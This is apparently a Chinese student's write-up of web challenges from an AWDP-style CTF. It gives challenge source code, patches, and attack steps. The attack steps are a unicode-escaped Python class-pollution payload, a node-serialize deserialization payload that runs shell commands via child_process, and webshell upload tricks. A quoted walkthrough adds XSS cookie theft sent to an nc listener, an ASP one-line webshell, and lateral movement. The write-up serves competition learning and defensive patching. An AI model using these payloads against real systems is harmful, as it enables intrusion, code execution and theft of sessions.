前言
⚠热异常⚠
办的很好,下次别在fjnu办了,切割了((
现在是6月23号早上的8点36,星期天;24号,高等数学,(差)一章没看,27号,概率论,还行,还剩题没做…欸这茶歇东西还挺多ww
是web的wp
由我和@Laffey共同完成,个人对web的评价是纯拼积累,线下断网情况下有一个自己的本地博客太重要了,然后就是老赛棍魅力时刻(
welcome
ctrl+u
submit
BREAK
服务器不知道检查了什么东西,直接burp改后缀传马
FIX
对文件后缀名作白名单处理,然后对文件内容的过滤多一个php文件开始标识符
<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$x = explode('.', $_FILES['myfile']['name']);
if ($x[sizeof($x) - 1] != 'png') {
die("只允许png哦!<br>");
}
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
die("只允许png哦!<br>");
}
if (preg_match('/(<\?|php|script|xml|user|htaccess)/i', $content)) {
// echo "匹配成功!";
die('鼠鼠说你的内容不符合哦0-0');
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
echo $file;
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
粗心的程序员
BREAK
扫目录发现有源码泄露。
居然敢写日志在php文件里面。
只把换行符给过滤了(\n),没过滤回车(\r)。
然后访问一次home.php,再去config.php。
FIX
直接把写日志的操作删掉。
<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id) {
echo "Hello," . "$username";
} else {
die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
function submitData() {
var obj = new Object();
obj.name = $('#newusername').val();
var str =
$.base64.encode(JSON.stringify(obj.name).replace("\"", "").replace("\"", ""));
$.post("edit.php", {
newusername: str
},
function(str) {
alert(str);
location.reload()
});
}
jQuery.base64 = (function($) {
var keyStr =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function utf8Encode(string) {
string = string.replace(/\r\n/g, "\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
} else if ((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
} else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
}
function encode(input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = utf8Encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
keyStr.charAt(enc1) + keyStr.charAt(enc2) +
keyStr.charAt(enc3) + keyStr.charAt(enc4);
}
return output;
}
return {
encode: function(str) {
return encode(str);
}
};
}(jQuery));
</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()">更改</button>
Polluted
BREAK
斩下二血
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)
原型链污染
过滤'init', 'global', 'env', 'app', '_', 'string'
,直接unicode绕过
{"username":"adminer","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"secret\u005fkey":"114514"}}}
}
然后就污染了,session本地生成一个:
session["username"] = "adminer"
session["password"] = "114514"
然后带这个cookie去靶机
嗯?我flag呢?
那就用之前boogipop的非预期打法,污染静态文件夹位置:
{"username":"adminer","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005fstatic\u005ffolder":"/"}}}
}
然后访问:/static/flag
即可
预期解:https://www.cnblogs.com/gxngxngxn/p/18264279
我们知道python的模板渲染标识符一般是{{}}
,所以上面输出[%flag%]
是因为没渲染成功,需要污染jinja2的语法标识符为[%%]
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[%","variable_end_string":"%]"
}
}
}
}
FIX
继续加已经有的黑名单就行
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)
return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','static','folder','\\']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app = Flask(__name__)
app.secret_key = generate_random_md5()
class evil():
def __init__(self):
pass
@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")
@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("important.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True, port=80)
bigfish
BREAK
访问admin路由的时候发现出现了set-cookie
,给了两个cookie:is_admin=false
和username
尝试修改后传入admin路由
成功访问
猜测QQ管理存在任意文件读取,改存储位置为fish.js,发现可以读到
测试发现可以目录穿越,翻了一下环境变量发现没flag,还是老老实实审代码吧(
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');
// Change working directory to /srv
process.chdir('/srv');
let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];
// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});
const app = express();
app.engine('html',require('express-art-template'))
app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))
data_path = "data.html";
// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}
//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.post('/',function(req, res){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body)
});
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});
app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
data_path = req.body.newname;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});
//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});
app.listen(80, '0.0.0.0');
package.json
{
"name": "app",
"version": "1.0.0",
"description": "",
"main": "app.js",
"dependencies": {
"art-template": "^4.13.2",
"body-parser": "^1.19.0",
"chrome": "0.0.1",
"cookie-parser": "^1.4.5",
"express": "^4.17.1",
"express-art-template": "^1.0.1",
"express-jwt": "^5.3.0",
"jsonwebtoken": "^7.4.3",
"node-schedule": "^2.0.0",
"node-serialize": "0.0.4",
"serialize": "^0.1.3",
"url": "^0.11.0"
},
"devDependencies": {},
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}
审计代码,发现可以直接在/login路由传cookie参数profile打serialize依赖的反序列化
直接打payload,因为不回显,所以尝试写文件带外
{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('ls />/tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()"}
然后去前面任意文件读取那边读取/tmp/1.txt即可
FIX(Failed)
有好几个洞,猜测是差一个xss的洞,一直不会修
据说xss是22年的黑盾杯的方法:https://mp.weixin.qq.com/s/F9v9-8s2_mJhlEWRICzVvg
复现xss参考:https://blog.mo60.cn/index.php/archives/487.html
const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');
// Change working directory to /srv
process.chdir('/srv');
let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];
// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
fs.writeFile('data.html',"#获取的数据信息\n",function(error){
console.log("wriet error")
});
});
const app = express();
app.engine('html',require('express-art-template'))
app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))
data_path = "data.html";
// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
if (!req.cookies.username) {
res.cookie('username', 'normal');
}
if (!req.cookies.is_admin) {
res.cookie('is_admin', 'false');
}
next();
}
//主页
app.get('/', function(req, res) {
res.sendFile(path.join(__dirname, 'public/index.html'));
});
app.post('/',function(req, res){
bd=str(req.body);
if(!bd.match(/\'|http|\"|\`|cookie|<|>|script/i)){
fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
console.log(req.body);
});}
res.sendFile(path.join(__dirname, 'public/index.html'));
});
//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.render('admin.html',{
datadir : data_path
});
}
});
app.post('/admin', setDefaultAdminCookies, function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
if(req.body.newname){
qweqwe=req.body.newname;
while(qweqwe.match(/\.\./)){
qweqwe=qweqwe.replace('..','');
}
data_path = qweqwe;
res.redirect('admin');
}else{
res.redirect('admin');
}
}
});
//已弃用的登录
app.get('/login', function(req, res) {
res.sendFile(path.join(__dirname, 'public/login.html'));
});
app.post('/login', function(req, res) {
if(req.cookies.profile){
var str = new Buffer(req.cookies.profile, 'base64').toString();
if(str.match(/(funcion|require|exec|child_process)/)){
res.sendFile(path.join(__dirname, 'public/data'));
}else{
var obj = serialize.unserialize(str);
if (obj.username) {
if (escape(obj.username) === "admin") {
res.send("Hello World");
}
}}
}else{
res.sendFile(path.join(__dirname, 'public/data'));
}
});
//QQ
app.get('/qq', function(req, res) {
if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
res.redirect('login');
}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
res.sendFile(path.join(__dirname, data_path));
}
});
app.listen(80, '0.0.0.0');
2022年黑盾xss by 543
渗透过程
一、目录扫描
使用御剑、wwwscan之类的工具扫描,或者人工猜测,可以发现后台路径/admin/。查看网页源代码也能发现注释掉的后台链接:
这里也有一定的机会发现默认的access数据库文件/ly.mdb(主要取决于字典库是否够丰富,以及你的运气是否够好)。这里不发现数据库也无所谓,后面的步骤也能获取数据库。打开数据库可得一个flag。
尝试访问后台/admin/会提示只允许localhost本机访问,这时有些人会尝试修改HTTP头的host或XFF字段去访问,思维有没问题,不过这一题的考点恰好不在这方面。
二、表单测试发现跨站脚本漏洞
在留言表单的标题或内容中填写一些payload尝试命令执行、代码执行、跨站脚本等漏洞。提交后再去查看留言可以发现js脚本会执行,说明有存储型跨站脚本漏洞。
三、跨站脚本XSS窃取管理员cookies
根据经验,跨站脚本可以用来窃取他人的cookies并发送到事先准备好的接收平台上。这里提供两种接收思路:
思路一:搭一个平台接收cookies
攻击者在自己电脑上搭一个web服务,用来接收、保存数据。可以用网上开源的一些工具来搭建环境,比如:BlueLotus_XSSReceiver。代码基础比较好的话,也可以自己写一个程序来接收。
但我有更简单的方案,就是用nc,这个小工具大家更熟悉,只要用一条命令监听端口就可以收数据了:nc.exe -v -L -p 543
在留言本上提交一段js脚本读取cookies并创建一个<img标签(也可以用<script标签),用其src属性来指向接收平台的URL,并把cookies内容拼接到URL的参数中。管理员浏览留言的时候就会执行代码,把cookies提交给接收平台。(写js比较666的话,你也可以调用XMLHttpRequest对象把cookies发出来)
nc会收到如下HTTP请求数据,带cookies内容:
由于留言中的代码用了escape(document.cookie),所以收到的内容要进行URLDecode解码才能把特殊字符还原。
思路二:直接把cookies发表成新的留言
由于留言本内容是公开的,可以写脚本获取cookies并模拟填写表单,直接提交成一条新的留言。脚本示例如图:
提交留言,等一会查看最新留言就能看到管理员发表出来的cookies数据了。
跨站脚本XSS访问后台实现getshell
前面发现/admin/只允许localhost访问。其实用XSS就可以实现以管理员的会话在本地访问后台页面。
留言提交一段JS代码,调用XMLHttpRequest对象以ajax方式访问后台路径/admin/,并把后台页面响应的HTML发送出来(跟接收cookie一样的思路)。
nc收到后台网页源代码:(中文乱码并不影响分析)
可以观察到后台页面主要是备份数据库文件的功能。(此处得到了数据库文件路径../ly.mdb,可以拼接成URL下载,打开获取flag)
进一步利用:
留言标题写上一句话木马<%eval request(“a”)%>,留言内容写脚本调用XMLHttpRequest对象以ajax方式模拟提交后台备份数据库的表单操作,把ly.mdb备份成一个*.asp或*.aspx的文件,就得到webshell了。脚本示例如图:
提交留言,等一会就可以用中国菜刀或cknife之类的客户端连接一句话木马了。如图:
在Web根目录还可以找到一个flag文件。
后续渗透:
可以上传提权工具,获取SYSTEM或administrator的权限,查看管理员桌面上的文件,发现有管理防火墙的笔记内容,得到防火墙管理后台登录权,修改防火墙策略实现内网区域的互通。
根据前面得到的权限和信息,可以进行跳板攻击,可以用Tunna或reDuh或meterpreter等工具搭建代理,把防火墙的web管理界面代理出来访问,尝试登录防火墙后台管理。
防火墙作用一:修改防火墙过滤规则使不同网络区域之间互通,可以使内网系统被访问。
防火墙作用二:防火墙可以用“目的地址转换”功能实现把内网IP、端口映射到其它网络区域。
ezwp
BREAK(非预期)
webpwn题
给了个myphp.so和index.php以及dockerfile
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){
eval($_POST['code']);
}else{
die();
}
}else{
phpinfo();
}
?>
环境变量没删,flag就在phpinfo里
杂谈
整个比赛过程都挺抽象的
在35度的篮球场里打8小时,人和电脑都得红温。好热…热得我要被晒干(?)了…就算没动也好热啊~
你在办一种很新的awdp,早上打四小时的break,下午再打四小时的fix,那早上不就等同于在打ctf?
开场的第一首歌:正在播放——春日影.mp3
开局pwn和web的题目上反了一道,还以为web什么时候也用二进制文件跑了
不过居然真的有webpwn,当然fix不能用web的方法fix,虽然我也不明白为什么要对一个ctf题搞fix。。。
华东南web的题目难度跟初赛比真的低太多了,还好没java,不然真得寄
然后是一些需要注意的事:
- 本地 vscode 的commit ID会经常改变,于是建议在开赛当天还能联网的时候先下载好对应的ssh连接包
- 开发和安全缺一不可,别attack嘎嘎做然后waf写不动(
接下来就是思考怎么准备决赛了,先立几个要完成的目标:
- CTF部分:因为到现在hw面试连个着落都没有,所以试图一个月内跟着Drun1baby师傅的java学习路线搞定java(x;然后是复现之前比赛屯下的题目,那些比赛的题,很难,但得会;还有少刷点视频,多看看知识星球
- 渗透:有巨魔在,渗透压力会小一点,但是我自己也得去学一下内网代理,打打春秋云境和vulhub,然后准备自己的漏洞库,这个估计得多看看狗佬的博客了
- AWD:吸取大b哥的经验,提前造轮子打批量,不然到时候有咱急的;然后就是记得把jar和war包打包明白(
- Build:?
- 期末考:别挂,别挂,别挂,再挂下去会似
- 整点阳间的作息吧哥,放假了就别熬夜了,还是享受当下重要!
- 别成天惦记凹你那总力战/深渊/肉鸽了,还有很多事没做,有这时间都能推几个ap了,steam上还有一堆galgame没推呢((
什么,我一个月搞定这些,真的假的?